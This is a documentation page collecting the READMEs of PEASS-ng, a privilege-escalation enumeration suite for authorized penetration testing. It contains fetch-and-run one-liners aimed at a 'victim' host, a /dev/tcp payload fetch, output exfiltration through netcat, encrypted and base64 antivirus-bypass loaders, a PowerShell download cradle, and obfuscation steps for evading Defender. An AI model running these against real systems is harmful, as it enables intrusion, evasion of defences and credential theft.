PEASS-ng Documentation

PEASS - Privilege Escalation Awesome Scripts SUITE (with colors)

20,677 stars C# C# 10 files · ~11,967 tokens #bash#batch#batch-script#color#csharp#enumeration#exe#linpe
RAW Doc

Technical Documentation: peass-ng/PEASS-ng

ℹ️ Provenance: Multi-Tier Ingestion · CodeWiki Reference

Overview (`README.md`)

PEASS-ng - Privilege Escalation Awesome Scripts SUITE new generation

Linux Privesc official course to master LinPEAS

Check https://hacktricks-training.com/courses/lhe/ to learn tens of linux privesc techniques and master LinPEAS

Basic Tutorial

Here you will find privilege escalation tools for Windows and Linux/Unix* and MacOS.

These tools search for possible local privilege escalation paths that you could exploit and print them to you with nice colors so you can recognize the misconfigurations easily.

  • Check the Local Windows Privilege Escalation checklist from book.hacktricks.wiki

  • WinPEAS - Windows local Privilege Escalation Awesome Script (C#.exe and .bat)

  • Check the Local Linux Privilege Escalation checklist from book.hacktricks.wiki

  • LinPEAS - Linux local Privilege Escalation Awesome Script (.sh)

Quick Start

Find the latest versions of all the scripts and binaries in the releases page.

JSON, HTML & PDF output

Check the parsers directory to transform PEASS outputs to JSON, HTML and PDF

Join us!

If you are a PEASS & Hacktricks enthusiast, you can get your hands now on our custom swag and show how much you like our projects!

You can also, join the 💬 Discord group or the telegram group to learn about the latest news in cybersecurity and meet other cybersecurity enthusiasts, or follow me on Twitter 🐦 @hacktricks_live.

Let's improve PEASS together

If you want to add something and have any cool idea related to this project, please let me know it in the telegram group https://t.me/peass or contribute reading the CONTRIBUTING.md file.

Advisory

All the scripts/binaries of the PEAS suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own machines and/or with the owner's permission.

Overview (`linPEAS/README.md`)

LinPEAS - Linux Privilege Escalation Awesome Script

LinPEAS is a script that search for possible paths to escalate privileges on Linux/Unix*/MacOS hosts. The checks are explained on book.hacktricks.wiki

Check the Local Linux Privilege Escalation checklist from book.hacktricks.wiki.

Linux Privesc official course to master LinPEAS

Check https://hacktricks-training.com/courses/lhe/ to learn tens of linux privesc techniques and master LinPEAS

MacPEAS

Just execute linpeas.sh in a MacOS system and the MacPEAS version will be automatically executed

Build your own linpeas!

The latest version of linpeas allows you to select the checks you would like your linpeas to have and built it only with those checks!

This allows to create smaller and faster linpeas scripts for stealth and speed purposes.

Check how to select the checks you want to build in your own linpeas following this link.

Note that by default, in the releases pages of this repository, you will find a linpeas with all the checks.

Differences between `linpeas_fat.sh`, `linpeas.sh` and `linpeas_small.sh`:

  • linpeas_fat.sh: Contains all checks, even third party applications in base64 embedded.
  • linpeas.sh: Contains all checks, but only the third party application linux exploit suggester is embedded. This is the default linpeas.sh.
  • linpeas_small.sh: Contains only the most important checks making its size smaller.

Quick Start

Find the latest versions of all the scripts and binaries in the releases page.

bash
# From public github
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
bash
# Local network
sudo python3 -m http.server 80 #Host
curl 10.10.10.10/linpeas.sh | sh #Victim

# Without curl
sudo nc -q 5 -lvnp 80 < linpeas.sh #Host
cat < /dev/tcp/10.10.10.10/80 | sh #Victim

# Excute from memory and send output back to the host
nc -lvnp 9002 | tee linpeas.out #Host
curl 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 #Victim
bash
# Output to file
./linpeas.sh -a > /dev/shm/linpeas.txt #Victim
less -r /dev/shm/linpeas.txt #Read with colors
bash
# Use a linpeas binary
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas_linux_amd64
chmod +x linpeas_linux_amd64
./linpeas_linux_amd64

AV bypass

bash
#open-ssl encryption
openssl enc -aes-256-cbc -pbkdf2 -salt -pass pass:AVBypassWithAES -in linpeas.sh -out lp.enc
sudo python -m SimpleHTTPServer 80 #Start HTTP server
curl 10.10.10.10/lp.enc | openssl enc -aes-256-cbc -pbkdf2 -d -pass pass:AVBypassWithAES | sh #Download from the victim

#Base64 encoded
base64 -w0 linpeas.sh > lp.enc
sudo python -m SimpleHTTPServer 80 #Start HTTP server
curl 10.10.10.10/lp.enc | base64 -d | sh #Download from the victim

Firmware Analysis

If you have a firmware and you want to analyze it with linpeas to search for passwords or bad configured permissions you have 2 main options.

  • If you can emulate the firmware, just run linpeas inside of it:
bash
cp /path/to/linpeas.sh /mnt/linpeas.sh
chroot /mnt #Supposing you have mounted the firmware FS in /mnt
bash /linpeas.sh -o software_information,interesting_files,api_keys_regex
  • If you cannot emulate the firmware, use the `-f

One-liner Enumerator

Here you have an old linpe version script in one line, just copy and paste it;)

The color filtering is not available in the one-liner (the lists are too big)

This one-liner is deprecated (I'm not going to update it any more), but it could be useful in some cases so it will remain here.

The default file where all the data is stored is: /tmp/linPE (you can change it at the beginning of the script)

text
/* Detailed source-code truncated for AI context efficiency. */

PEASS Style

Are you a PEASS fan? Get now our merch at PEASS Shop and show your love for our favorite peas

Collaborate

If you want to help with the TODO tasks or with anything, you can do it using github issues or you can submit a pull request.

If you find any issue, please report it using github issues.

Linpeas is being updated every time I find something that could be useful to escalate privileges.

Advisory

All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.

Overview (`metasploit/README.md`)

PEASS Post Exploitation Module for Metasploit

You can use this module to automatically execute a PEASS script from a meterpreter or shell session obtained in metasploit.

Manual Installation

Copy the peass.rb file to the path modules/post/multi/gather/ inside the metasploit installation.

In Kali:

bash
sudo cp ./peass.rb /usr/share/metasploit-framework/modules/post/multi/gather/
# or
sudo wget https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/metasploit/peass.rb -O /usr/share/metasploit-framework/modules/post/multi/gather/peass.rb

Now you can do reload_all inside a running msfconsole or the next time you launch a new msfconsole the peass module will be automatically loaded.

How to use it

text
/* Detailed source-code truncated for AI context efficiency. */

The options are pretty self-explanatory.

Notice that by default the obfuscated PEASS script if going to be uploaded but if you set SRVHOST it will be downloaded via http(s) from the metasploit instance (so nothing will be written in the disk of the compromised host).

Notice that you can set parametes like -h in PARAMETERS and then linpeas/winpeas will just show the help (just like when you execute them from a console).

IMPORTANT: You won't see any output until the execution of the script is completed.

Overview (`parsers/README.md`)

Privilege Escalation Awesome Scripts Parsers

These scripts allows you to transform the output of linpeas/macpeas/winpeas to JSON and then to PDF and HTML.

python3
python3 peas2json.py </path/to/executed_peass.out> </path/to/peass.json>
python3 json2pdf.py </path/to/peass.json> </path/to/peass.pdf>
python3 json2html.py </path/to/peass.json> </path/to/peass.html>

JSON Format

Basically, each section has:

  • Infos (URLs or info about the section)
  • Text lines (the real text info found in the section, colors included)
  • More sections

There is a maximun of 3 levels of sections.

json
{
  "<Main Section Name>": {
    "sections": {
      "<Secondary Section Name>": {
        "sections": {},
        "lines": [
          {
            "raw_text": "\u001b[0m\u001b[1;33m[+] \u001b[1;32mnmap\u001b[1;34m is available for network discover & port scanning, you should use it yourself",
            "clean_text": "[+]  is available for network discover & port scanning, you should use it yourself",
            "colors": {
                "GREEN": [
                    "nmap"
                ],
                "YELLOW": [
                    "[+]"
                ]
            }
          }
        ],
        "infos": [
          "https://book.hacktricks.wiki/en/linux-hardening/main-system-information/kernel-vulnerability-assessment.html"
        ]
      },
      "infos": []
json
{
  "System Information": {
    "sections": {
      "Operative system": {
        "sections": {},
        "lines": [
          {
            "raw_text": "\u001b[0m\u001b[1;33m[+] \u001b[1;32mnmap\u001b[1;34m is available for network discover & port scanning, you should use it yourself",
            "clean_text": "[+]  is available for network discover & port scanning, you should use it yourself",
            "colors": {
                "GREEN": [
                    "nmap"
                ],
                "YELLOW": [
                    "[+]"
                ]
            }
          }
        ],
        "infos": [
          "https://book.hacktricks.wiki/en/linux-hardening/main-system-information/kernel-vulnerability-assessment.html"
        ]
      },
      "infos": []

There can also be a ``

If you need to transform several outputs check out https://github.com/mnemonic-re/parsePEASS

TODO:

  • PRs improving the code and the aspect of the final PDFs and HTMLs are always welcome!

Overview (`winPEAS/README.md`)

Windows Privilege Escalation Awesome Scripts

Check the Local Windows Privilege Escalation checklist from book.hacktricks.wiki

Check more information about how to exploit found misconfigurations in book.hacktricks.wiki

Quick Start

Find the latest versions of all the scripts and binaries in the releases page.

WinPEAS Flavours

PEASS Style

Are you a PEASS fan? Get now our merch at PEASS Shop and show your love for our favorite peas

Advisory

All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.

Overview (`linPEAS/builder/README.md`)

Build you own linpeas!

You can build you own linpeas which will contain only the checks you want. This is useful to reduce the time it takes to run linpeas and to make linpeas more stealth and modular.

Quick start building linpeas.sh

It's possible to indicate the params --all, --all-no-fat and --small to build the classic linpeas_fat.sh, linpeas.sh and linpeas_small.sh outputs:

  • When testing builder changes locally, prefer writing the output to /tmp so you don't overwrite tracked release artifacts by accident.

Builds that include GTFOBins-based checks download the current GTFOBins archive once. They require network access and stop if the archive cannot be downloaded or validated.

  • linpeas_fat.sh: Contains all checks, even third party applications in base64 embedded.
  • linpeas.sh: Contains all checks, but only the third party application linux exploit suggester is embedded. This is the default linpeas.sh.
  • linpeas_small.sh: Contains only the most important checks making its size smaller.

However, in order to indicate only some specific checks, you can use the --include and --exclude params. These arguments supports a comma separated list of modules to add or remove from the final linpeas. Note that the matchs are done by checking if the module path string contains any of the words indicated in those params. Therefore, if you want to inde all the tests from the linpeas_parts/3_cloud it's enough to indicate --include "cloud". Or if you want to include only the check linpeas_parts/3_cloud/1_Check_if_in_Cloud you can indicate --include "Check_if_in_Cloud".

bash
# Run this commands from 1 level above the builder folder. From here: cd ..
# Build linpeas_fat (linpeas with all checks, even third party applications in base64 embedded)
python3 -m builder.linpeas_builder --all --output /tmp/linpeas_fat.sh

# Build regular linpeas
python3 -m builder.linpeas_builder --all-no-fat --output /tmp/linpeas.sh

# Build small linpeas
python3 -m builder.linpeas_builder --small --output /tmp/linpeas_small.sh

# Build linpeas only with container and cloud checks
python3 -m builder.linpeas_builder --include "container,cloud" --output /tmp/linpeas_custom.sh

# Build linpeas only with regexes
python3 -m builder.linpeas_builder --include "api_keys_regex" --output /tmp/linpeas_custom.sh

# Build linpeas only with some specific modules
## You can customize it as much as you want
python3 -m builder.linpeas_builder --include "CPU_info,Sudo_version,Clipboard_highlighted_text" --output /tmp/linpeas_custom.sh

# Build linpeas excluding some specific modules
python3 -m builder.linpeas_builder --exclude "CPU_info,Sudo_version,Clipboard_highlighted_text" --output /tmp/linpeas_custom.sh

How to add new modules

Adding new modules is very easy. You just need to create a new file in the linpeas_parts/<corresponding section> folder with the following structure with the bash code to run. Note that every new module should have some specific metadata at the beggining of the file. This metadata is used by the builder to generate the final linpeas.

Metadata example:

bash
# Title: Cloud - Check if in cloud
# ID: CL_Check_if_in_cloud
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Check if the current system is inside a cloud environment
# License: GNU GPL
# Version: 1.0
# Functions Used: check_aws_codebuild, check_aws_ec2, check_aws_ecs, check_aws_lambda, check_az_app, check_az_vm, check_do, check_gcp, check_ibm_vm, check_tencent_cvm, print_list
# Global Variables: $is_aws_codebuild, $is_aws_ecs, $is_aws_ec2, , $is_aws_lambda, $is_az_app, $is_az_vm, $is_do, $is_gcp_vm, $is_gcp_function, $is_ibm_vm, $is_aws_ec2_beanstalk, $is_aliyun_ecs, $is_tencent_cvm
# Initial Functions: check_gcp, check_aws_ecs, check_aws_ec2, check_aws_lambda, check_aws_codebuild, check_do, check_ibm_vm, check_az_vm, check_az_app, check_aliyun_ecs, check_tencent_cvm
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 1

<code>

Metadata parts explained

  • Title: Title of the module
  • ID: Unique identifier of the module. It has to be the same as the filename without the extension and with the section identifier as prefix (in this case CL)
  • Author: Author of the module
  • Last Update: Last update of the module
  • Description: Description of the module
  • License: License of the module
  • Version: Version of the module
  • Functions Used: Functions used by the module inside the bash code. If your module is using a function not defined here, linpeas won't be built.
  • Global Variables: Global variables used by the module inside the bash code. If your module is using a global variable not defined here, linpeas won't be built.
  • Initial Functions: Functions that are called at the beggining of the module. If your module is using a function not defined here, linpeas won't be built.
  • Generated Global Variables: Global variables generated (given a relevant value) by the module. If your module is generating a global variable not defined here, linpeas won't be built.
  • Fat linpeas: Set only as 1 if the module is loading a third party app, if not 0.
  • Small linpeas: Set as 1 if it's a quick check, if not 0.

Overview (`winPEAS/winPEASbat/README.md`)

Windows Privilege Escalation Awesome Script (.bat)

WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on book.hacktricks.wiki

Check also the Local Windows Privilege Escalation checklist from book.hacktricks.wiki

WinPEAS.bat is a batch script made for Windows systems which don't support WinPEAS.exe (Net.4 required)

Unfortunately this script does not support colors so you will need to know what are you looking for in each test and, also, you will have to know how to learn the icacls output, see below.

Windows PE using CMD (.bat)

If you want to search for files and registry that could contain passwords, set to yes the long variable at the beginning of the script.

The script will use acceschk.exe if it is available (with that name). But it is not necessary, it also uses wmic + icacls.

Some of the tests in this script were extracted from here and from here

Main checks

Details

  • Systeminfo --SO version and patches-- (windows suggester)
  • Common known exploits (2K, XP, 2K3, 2K8, Vista, 7)
  • Audit Settings
  • WEF Settings
  • LAPS installed?
  • LSA protection?
  • Credential Guard?
  • WDigest?
  • Number of cached cred
  • UAC Settings
  • AV?
  • PS Settings
  • Mounted disks
  • SCCM installed?
  • Remote Desktop Credentials Manager?
  • WSUS Settings
  • Processes list
  • Interesting file permissions of binaries being executed
  • Interesting file permissions of binaries run at startup
  • AlwaysInstallElevated?
  • Network info (see below)
  • Users info (see below)
  • Current user privileges
  • Service binary permissions
  • Check if permissions to modify any service registy
  • Unquoted Service paths
  • DLL Hijacking in PATH
  • Windows Vault
  • DPAPI Master Keys
  • AppCmd.exe?
  • Check for unattended files
  • Check for SAM & SYSTEM backups
  • Check for cached GPP Passwords
  • Check for McAffe SiteList.xml files
  • Check for Cloud credentials
  • Search for known registry to have passwords and keys inside (Winlogon...)
  • Search for known files to have passwords inside (can take some minutes)
  • If long, search files with passwords inside
  • If long, search registry with passwords inside

More enumeration

  • Date & Time
  • Env
  • Installed Software
  • Running Processes
  • Current Shares
  • Network Interfaces
  • Used Ports
  • Firewall
  • ARP
  • Routes
  • Hosts
  • Cached DNS
  • Info about current user (PRIVILEGES)
  • List groups (info about administrators)
  • Current logon users

Understanding icacls permissions

Icacls is the program used to check the rights that groups and users have in a file or folder.

Iclals is the main binary used here to check permissions.

Its output is not intuitive so if you are not familiar with the command, continue reading. Take into account that in XP you need administrators rights to use icacls (for this OS is very recommended to upload sysinternals accesschk.exe to enumerate rights).

Interesting permissions

text
D - Delete access
F - Full access (Edit_Permissions+Create+Delete+Read+Write)
N - No access
M - Modify access (Create+Delete+Read+Write)
RX - Read and eXecute access
R - Read-only access
W - Write-only access

We will focus in F (full), M (Modify access) and W (write).

Use of Icacls by WinPEAS

When checking rights of a file or a folder the script search for the strings: (F) or (M) or (W) and the string ":" (so the path of the file being checked will appear inside the output).

It also checks that the found right (F, M or W) can be exploited by the current user.

A typical output where you dont have any nice access is:

text
C:\Windows\Explorer.EXE NT SERVICE\TrustedInstaller:(F)

An output where you have some interesting privilege will be like:

text
C:\Users\john\Desktop\desktop.ini NT AUTHORITY\SYSTEM:(I)(F)
                                MYDOMAIN\john:(I)(F)

Here you can see that the privileges of user NT AUTHORITY\SYSTEM appears in the output because it is in the same line as the path of the binary. However, in the next line, you can see that our user (john) has full privileges in that file.

This is the kind of outpuf that you have to look for when usnig the winPEAS.bat script.

More info about icacls here

Advisory

All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.

Overview (`winPEAS/winPEASexe/README.md`)

Windows Privilege Escalation Awesome Script (.exe)

WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on book.hacktricks.wiki

Check also the Local Windows Privilege Escalation checklist from book.hacktricks.wiki

Quick Start

.Net >= 4.5.2 is required

Precompiled binaries:

text
/* Detailed source-code truncated for AI context efficiency. */

Parameters Examples

bash
winpeas.exe -h # Get Help
winpeas.exe #run all checks (except for additional slower checks - LOLBAS and linpeas.sh in WSL) (noisy - CTFs)
winpeas.exe systeminfo userinfo #Only systeminfo and userinfo checks executed
winpeas.exe notcolor #Do not color the output
winpeas.exe domain #enumerate also domain information
winpeas.exe wait #wait for user input between tests
winpeas.exe debug #display additional debug information
winpeas.exe log #log output to out.txt instead of standard output
winpeas.exe -vulnpackages #send installed package names/versions to the optional HackTricks online lookup to flag vulnerable packages
winpeas.exe -linpeas=http://127.0.0.1/linpeas.sh #Execute also additional linpeas check (runs linpeas.sh in default WSL distribution) with custom linpeas.sh URL (if not provided, the default URL is: https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/linPEAS/linpeas.sh)
winpeas.exe -lolbas  #Execute also additional LOLBAS search check

The domain checks include a bounded, read-only AD CS template review. ESC3 output
correlates published enrollment-agent and on-behalf-of templates with matching
Enroll ACEs for the current token. These are candidate paths, not proof of
effective access: CA-specific publication, enrollment-agent restrictions,
issuance policy, and certificate authentication still need manual verification.

The device-driver audit also reviews registered kernel-driver services whose image
is named WinNotify.sys or msft.sys. It reports service state, image path,
SHA-256, file version, and signature details. Only a SHA-256 match to the
LocalStranger PoC driver confirms that
specific image; filename-only matches require manual review. The bounded,
read-only audit does not test the device interface or establish that the driver
can be loaded or exploited by the current user. It does not assess current
vulnerable-driver blocklist enforcement.

Basic information

The goal of this project is to search for possible Privilege Escalation Paths in Windows environments.

New in this version:

  • Detect potential GPO abuse by flagging writable SYSVOL paths for GPOs applied to the current host and by highlighting membership in the "Group Policy Creator Owners" group.

  • Flag installed OEM utilities such as ASUS DriverHub, MSI Center, Acer Control Centre and Razer Synapse 4, highlighting writable updater folders and world-accessible pipes tied to recent CVEs.

It should take only a few seconds to execute almost all the checks and some seconds/minutes during the lasts checks searching for known filenames that could contain passwords (the time depened on the number of files in your home folder). By default only some filenames that could contain credentials are searched, you can use the searchall parameter to search all the list (this could will add some minutes).

The tool is based on SeatBelt.

Where are my COLORS?!?!?!

The ouput will be colored using ansi colors. If you are executing winpeas.exe from a Windows console, you need to set a registry value to see the colors (and open a new CMD):

text
REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1

Below you have some indications about what does each color means exacty, but keep in mind that Red is for something interesting (from a pentester perspective) and Green is something well configured (from a defender perspective).

Instructions to compile you own obfuscated version

Details

In order to compile an ofuscated version of Winpeas and bypass some AVs you need to ** install dotfuscator ** in VisualStudio.

To install it open VisualStudio --> Go to Search (CTRL+Q) --> Write "dotfuscator" and just follow the instructions to install it.

To use dotfuscator you will need to create an account (they will send you an email to the address you set during registration).

Once you have installed and activated it you need to:

  1. Compile winpeas in VisualStudio
  2. Open dotfuscator app
  3. Open in dotfuscator winPEAS.exe compiled
  4. Click on Build
  5. The single, minimized and obfuscated binary will appear in a folder called Dotfuscator inside the folder were winPEAS.exe and the DLL were (this location will be saved by dotfuscator and by default all the following builds will appear in this folder).

I'm sorry that all of this is necessary but is worth it. Dotfuscator minimizes a bit the size of the executable and obfuscates the code.

IMPORTANT: Note that Defender will higly probable delete the winpeas iintial unobfuscated version, so you need to set as expections the origin folder of Winpeas and the folder were the obfuscated version will be saved:

Checks

Details

  • System Information

    • Basic System info information
    • Use embedded definitions to flag known exploitable vulnerabilities for the running Windows version (version-based)
    • Passive Print Spooler CVE-2022-38028/GooseEgg exposure assessment (OS fixed build, update supersedence, Spooler state/configuration, and registry ACL)
    • Passive Storage VSP/vSMB CVE-2025-59517 and CVE-2025-64673 assessment (OS/driver fixed build, update inventory, Virtual Machine Platform, storvsp registration, signature, and STORVSP device link)
    • Passive Windows Installer CVE-2025-27727 build and artifact assessment (msi.dll, TempPackages, Installer\Folders, and C:\Config.Msi ACL/rollback state)
    • Passive CrossDevice dangling COM CVE-2026-66804 assessment (fixed build, 32/64-bit registration, writable DLL path, SYSTEM COM host, and user-executable CreateObjectTask)
    • Enumerate Microsoft updates
    • PS, Audit, WEF and LAPS Settings
    • LSA protection
    • CLFS logfile authentication mitigation status
    • Credential Guard
    • Hardware and DMA security (Kernel DMA Protection, Device Guard DMA/IOMMU capability, UEFI/Secure Boot, VBS, BitLocker protectors and external DMA-capable interfaces)
    • WDigest
    • Number of cached cred
    • Environment Variables
    • Internet Settings
    • Current drives information
    • AV
    • Windows Defender
    • UAC configuration
    • NTLM Settings
    • Local Group Policy
    • Applocker Configuration & bypass suggestions
    • Printers
    • Named Pipes
    • Named Pipe ACL abuse candidates
    • AMSI Providers
    • SysMon
    • .NET Versions

  • Users Information

    • Users information
    • Current token integrity/elevation, group state, and token-manipulation privileges
    • Clipboard text
    • Current logged users
    • RDP sessions
    • Ever logged users
    • Autologin credentials
    • Home folders
    • Password policies
    • Local User details
    • Logon Sessions

  • Processes Information

    • Interesting processes (non Microsoft)
    • Privileged/service process token identities, logon sessions, integrity levels, service associations, and read-only token-access probes

  • Services Information

    • Interesting services (non Microsoft) information
    • Modifiable services
    • Writable service registry binpath
    • Writable DLLs loaded by enabled LocalSystem services
    • Writable LocalSystem service recovery command targets
    • PATH Dll Hijacking

Process-token and service-access results are local, read-only review leads. Token access does not guarantee successful impersonation, and remote service binary-path replacement requires independent remote SCM permissions.

  • Applications Information

    • Current Active Window
    • Installed software
    • Optional online installed-package vulnerability lookup via HackTricks (-vulnpackages or all)
    • AutoRuns
    • Scheduled tasks
    • Microsoft Recall PolicyConfiguration task exposure (CVE-2025-60710 / CVE-2026-20941)
    • Writable execution targets in enabled SYSTEM scheduled tasks
    • Device drivers

  • Network Information

    • Current net shares
    • Mapped drives (WMI)
    • hosts file
    • Network Interfaces
    • Listening ports
    • Firewall rules
    • DNS Cache (limit 70)
    • WinINet, WinHTTP, policy and environment HTTP proxy settings (including ZDI-26-708 exposure indicators)
    • Internet connectivity probes
    • Optional external hostname resolution check

  • Cloud Metadata Enumeration

    • AWS Metadata
    • GCP Metadata
    • Azure Metadata

  • Windows Credentials

    • Windows Vault
    • Credential Manager
    • Saved RDP settings
    • Passive sethc.exe/Utilman.exe integrity checks and RDP/NLA exposure context
    • Recently run commands
    • Default PS transcripts files
    • DPAPI Masterkeys
    • DPAPI Credential files
    • Remote Desktop Connection Manager credentials
    • Kerberos Tickets
    • Wifi
    • AppCmd.exe
    • SSClient.exe
    • SCCM
    • Cached SCCM Network Access Account credential policies
    • Security Package Credentials
    • AlwaysInstallElevated
    • WSUS (HTTP downgrade + CVE-2025-59287 exposure)

  • Browser Information

    • Firefox DBs
    • Credentials in firefox history
    • Chrome DBs
    • Credentials in chrome history
    • Current IE tabs
    • Credentials in IE history
    • IE Favorites
    • Extracting saved passwords for: Firefox, Chrome, Opera, Brave

  • Interesting Files and registry

    • Putty sessions
    • Putty SSH host keys
    • SuperPutty info
    • Office365 endpoints synced by OneDrive
    • SSH Keys inside registry
    • Cloud credentials
    • Check for unattended files
    • Check for SAM & SYSTEM backups
    • Check for exposed SAM, SECURITY and SYSTEM hives in live ACLs, backups and shadow copies
    • Check for cached GPP Passwords
    • Check for and extract creds from McAffe SiteList.xml files
    • Possible registries with credentials
    • Possible credentials files in users homes
    • Possible password files inside the Recycle bin
    • Possible files containing credentials (this take some minutes)
    • User documents (limit 100)
    • Oracle SQL Developer config files check
    • Slack files search
    • Outlook downloads
    • Machine and user certificate files
    • Office most recent documents
    • Hidden files and folders
    • Executable files in non-default folders with write permissions
    • WSL check

  • Events Information

    • Logon + Explicit Logon Events
    • Process Creation Events
    • PowerShell Events
    • Power On/Off Events

  • Additional (slower) checks

    • LOLBAS search
    • run linpeas.sh in default WSL distribution

TODO

  • Add more checks

If you want to help with any of this, you can do it using github issues or you can submit a pull request.

If you find any issue, please report it using github issues.

WinPEAS is being updated every time I find something that could be useful to escalate privileges.

Advisory

All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.

Overview (`winPEAS/winPEASps1/README.md`)

Windows Privilege Escalation Awesome Script (.ps1)

WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on book.hacktricks.wiki

Check also the Local Windows Privilege Escalation checklist from book.hacktricks.wiki

Mantainer

The official maintainer of this script is RandolphConley.

Quick Start

Download the latest releas from here.

bash
powershell "IEX(New-Object Net.WebClient).downloadString('https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1')"

Recent Updates

  • Added Active Directory awareness checks to highlight Kerberos-only environments (NTLM restrictions) and time skew issues before attempting ticket-based attacks.
  • winPEAS.ps1 now reviews AD-integrated DNS ACLs to flag zones where low-privileged users can register/modify records (dynamic DNS hijack risk).
  • Enumerates high-value SPN accounts and weak gMSA password readers so you can immediately target Kerberoastable admins or abused service accounts.
  • Surfaces Schannel certificate mapping settings to warn about ESC10-style certificate abuse opportunities when UPN mapping is enabled.

Advisory

All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.

Overview (`winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/README.md`)

The Bouncy Castle Crypto Package For C Sharp

The Bouncy Castle Crypto package is a C# implementation of cryptographic algorithms and protocols, it was developed by the Legion of the Bouncy Castle, a registered Australian Charity, with a little help! The Legion, and the latest goings on with this package, can be found at https://www.bouncycastle.org. In addition to providing basic cryptography algorithms, the package also provides support for CMS, TSP, X.509 certificate generation and a variety of other standards such as OpenPGP.

The Legion also gratefully acknowledges the contributions made to this package by others (see here for the current list). If you would like to contribute to our efforts please feel free to get in touch with us or visit our donations page, sponsor some specific work, or purchase a support contract through Crypto Workshop.

Except where otherwise stated, this software is distributed under a license based on the MIT X Consortium license. To view the license, see here. The OpenPGP library also includes a modified BZIP2 library which is licensed under the Apache Software License, Version 2.0.

Note: this source tree is not the FIPS version of the APIs - if you are interested in our FIPS version please contact us directly at [email protected].

Mailing Lists

For those who are interested, there are 2 mailing lists for participation in this project. To subscribe use the links below and include the word subscribe in the message body. (To unsubscribe, replace subscribe with unsubscribe in the message body)

  • [email protected]
    This mailing list is for new release announcements only, general subscribers cannot post to it.
  • [email protected]
    This mailing list is for discussion of development of the package. This includes bugs, comments, requests for enhancements, questions about use or operation.

**NOTE:**You need to be subscribed to send mail to the above mailing list.

Feedback

If you want to provide feedback directly to the members of The Legion then please use [email protected], if you want to help this project survive please consider donating.

For bug reporting/requests you can report issues here on github, via feedback-crypto if required. We will accept pull requests based on this repository as well, but only on the basis that any code included may be distributed under the Bouncy Castle License.

Finally

Enjoy!

--- METRICS ---

Explore Related Technologies & Topics

View All 9,111+ Repositories →

Discover similar high-velocity repositories, agent skills, and OpenAPI specifications across the ecosystem.

#bash Browse bash catalog → #batch Browse batch catalog → #batch-script Browse batch-script catalog → #color Browse color catalog → #csharp Browse csharp catalog → #enumeration Browse enumeration catalog → ⚡ MCP Servers Model Context Protocol → 🧠 Agent Skills Prompt & rule files → 🔌 OpenAPI Specs REST & Swagger schemas →